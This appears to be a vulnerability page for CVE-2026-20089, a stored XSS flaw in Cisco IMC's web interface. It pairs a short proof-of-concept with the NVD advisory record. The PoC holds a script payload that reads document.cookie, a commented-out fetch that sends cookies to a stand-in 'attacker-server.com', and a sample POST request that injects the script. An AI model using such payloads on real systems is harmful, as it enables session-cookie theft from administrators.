CVE-2026-20089

<!-- PoC for Stored XSS in Cisco IMC (CVE-2026-20089) Description: Injecting a script into a vulnerable input field. --> <script> // Malicious payload to be injected // This payload demonstrates the ability to execute JavaScript // In a real attack, this would be obfuscated and send data to an external server alert('CVE-2026-20089 Stored XSS Executed'); console.log('Document Cookie: ' + document.cookie); // Example exfiltration (Simulated) // fetch('http://attacker-server.com/steal?c=' + document.cookie); </script> /* HTTP Request Simulation: POST /some-config-endpoint HTTP/1.1 Host: <target-ip> Content-Type: application/x-www-form-urlencoded Cookie: <admin-session-cookie> vulnerable_field=<script>alert(1)</script>&submit=Save */

{"cve": {"id": "CVE-2026-20089", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:27.977", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with administrative privileges to conduct a stored XSS attack against a user of the interface.\r\n\r\nThis vulnerability is due to insufficient validation of user input. An attacker could exploit this vulnerability by persuading a user of an affected interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the browser of the targeted user or access sensitive, browser-based information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-xss-A2tkgVAB", "source": "[email protected]"}]}}